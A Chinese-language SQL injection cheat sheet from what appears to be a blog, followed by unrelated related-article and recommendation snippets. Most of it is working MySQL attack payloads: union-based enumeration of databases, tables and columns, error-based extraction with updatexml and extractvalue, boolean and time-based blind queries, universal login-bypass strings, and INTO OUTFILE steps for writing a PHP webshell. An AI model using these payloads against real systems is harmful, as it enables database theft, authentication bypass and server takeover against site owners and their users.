一、手工注入

注入点检测


识别方法:通过在url栏输入'and 1=1or 1=1and sleep(1),如果出现报错,或者页面不一致,则可能存在注入点。

注入类型:整数型字符型搜索型BOOL盲注时间盲注HTTP头注入(cookie | user-agent)

PS:需要区分注入类型,比如'"')")%' 等之类结尾

查询注入(Payload)


猜测列数:order by [数字]

联合查询:union select [数字,数字,...]

常见信息:union select version(),user(),database(),4,5

查数据库:union select schema_name from information_schema.schemata limit 0,1

查询表名:union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() limit 0,1

查询列名:union select column_name,2,3,4,5 from information_schema.columns where table_name='[表名]' limit 0,1

查表数据:union select [列名1],[列明2],3,4,5 from [表名] limit 0,1

PS:数据库版本version()、登录用户user()、数据库database()

错误回显(Payload)


报错函数:updatexml()extractvalue()rand()group_by()

常见信息:[某种符号] or updatexml(1, concat(0x7e, (select version()), 0x7e, (select user())), 0) %23

查数据库:[某种符号] or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1)), 0) %23

查询表名:[某种符号] or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 0) %23

查询列名:[某种符号] or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='[表名]' limit 0,1)), 0) %23

查表数据:[某种符号] or updatexml(1, concat(0x7e, (select [列名] from [表名] limit 0,1)), 0) %23

updatexml()替换成extractvalue()时,只需要传2个参数即可。extractvalue(1,([执行的sql]))

Mysql 5.1以上才存在xpath报错函数,若小于这个版本可以使用group_by() + rand()

默认Payload[某种符号] and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,([sql语句]))x from information_schema.tables group by x )a) %23

Payload中[sql语句]可以替换成想要获取信息的SQL,语法同上。

盲注 bool | time (Payload)


常用函数:substr()ascii()mid()length()

检测盲注:[某种符号] and 1=2 %23[某种符号] and sleep(3) %23

常见信息:[某种符号] and substr(user(),1,1)='r' %23[某种符号] and ascii(mid(version,1,1))=97 %23[某种符号] and ascii(mid(version(),1,1))=97 and sleep(3) %23

查数据库:

[某种符号] and if((select count(*) from information_schema.tables where table_schema=database())=10, sleep(3), 1=1) %23

[某种符号] and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=10), 1=1, 1=2) %23

[某种符号] and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))=109, 1=1, 1=2) %23

查询列名:

[某种符号] and if((select count(*) from information_schema.columns where table_name=[表名])=10, sleep(3), 1=1) %23

[某种符号] and if((length(select column_name from information_schema.columns where table_name=[表名] limit 0,1)=10), 1=1, 1=2) %23

[某种符号] and if((ascii(mid((select columns from information_schema.columns where table_name=[表名] limit 0,1), 1, 1)))=109, 1=1, 1=2) %23

查表数据:

[某种符号] and if((select count([列名]) from [表名])=5, 1=1, 1=2) %23

[某种符号] and if(length((select count([列名]) from [表名]))=5, 1=1, 1=2) %23

[某种符号] and if(ascii(mid((select count([列名]) from [表名]), 1, 1))=101, 1=1, 1=2) %23

PS:当非bool型时,可以使用sleep(3)代替1=1。灵活使用substr()ascii()等函数

后台登录万能密码


' or 1=1 --' or '1'='1" or 1=1 --

写shell | 一句话


前提条件:

1.user()为root

2.知道web的绝对路径

3.文件路径有写入权限

Payload:

[某种符号] union select '[php代码]' into [关键字] '[绝对路径]' %23

[关键字]:outfile 或者 dumpfile

[某种符号] into outfile '[绝对路径]' [关键字] '[php代码]' %23

[关键字]lines terminated by 或者 lines starting by 或者 fields terminated by 或者 COLUMNS terminated by

PS:如果写不进shell可以试试Hex编码内容或路径,也可以Hex编码数据库名称或者表名,若SQL执行错误可以在[某种符号]后面加上limit 1试试

SQL注入 (一)的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  3. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  4. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  5. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  8. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

  9. 关于SQL注入和如何防止

    之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...

  10. Java防止SQL注入2(通过filter过滤器功能进行拦截)

    首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...

随机推荐

  1. redhat-DHCP服务的配置与应用

    DHCP服务器为客户端提供自动分配IP地址的服务,减轻网管的负担 首先 rpm -q dhcp 查看是否安装dhcp yum -y install dhcp进行安装 安装完成 dhcp服务配置 dhc ...

  2. 百度ping工具

    function postUrl($url, $postvar) { $ch = curl_init(); $headers = array( "POST".$url." ...

  3. 4.1 Spring源码 --- 监听器的原理

    目标: 1. 监听器如何使用 2. 监听器的原理 3. 监听器的类型 4. 多播器的概念和作用 5. 接口类型的监听器是如何注册的? 6. 注解类型的监听器和如何注册的? 7. 如果想在所有的bean ...

  4. pandas 生成html文档,支持可添加多个表

    如何通过pandas生成html格式?如何通过pandas生成html文件文件中包含多个表单Balance_64_data = pd.read_sql(Balance_64_sql,engine)df ...

  5. 如何使用iMindMap制作更专业的时间计划

    时间计划无论是在日常生活中,还是在工作中,都显得极为重要.小到每周的购物时间规划,大到大型项目的时间管理,时间计划都会如影随形.虽然时间计划很重要,但很多人都会忽视这种重要性,可能只会在台本日历上作一 ...

  6. 会声会影使用教程:剪辑Vlogo短视频

    随着抖音.快手等视频分享软件的兴起,很多人已经开始尝试制作短视频分享.那么,对于视频制作新手来说,短视频的制作难度大吗?其实,只要选对了视频制作软件,视频制作将会变得相当简单. 在众多视频制作软件中, ...

  7. 攻克solo第五课(Mixolydian 音阶)

    相对于独奏来说,我们已经说过了很多关于solo或独奏的乐理和技巧.那么这篇文章,笔者将使用guitar pro7软件来跟大家分享Mixolydian 音阶的演奏技巧,以及如何在学习Mixolydian ...

  8. 【linux】串口通讯工具-minicom简介+简单操作

    目录 前言 简介 尝试运行 配置 minicom 运行 minicom minicom 其它操作 前言 windows 上有不少的串口通信工具了,今天介绍一个linux下的一个串口通信工具-minic ...

  9. 虚拟机VM14.X安装Mac10.12启动出现问题的解决方法

    虚拟机安装Mac系统,会出现的问题太多,于是乎变记录下来,方便以后使用或者方便大家解决问题. 一:VM14.X安装Mac10.12虚拟机,启动出现下面无限重启问题 解决方法: 亲测有效 在OS X 1 ...

  10. C Looooops POJ - 2115

    数论好题.. 香! 首先我们看到这一题, 题意是 \[a + c * x \equiv b (mod \ \ 2 ^ k) \] 对此式移一下项, 得 \[c * x \equiv b - a (mo ...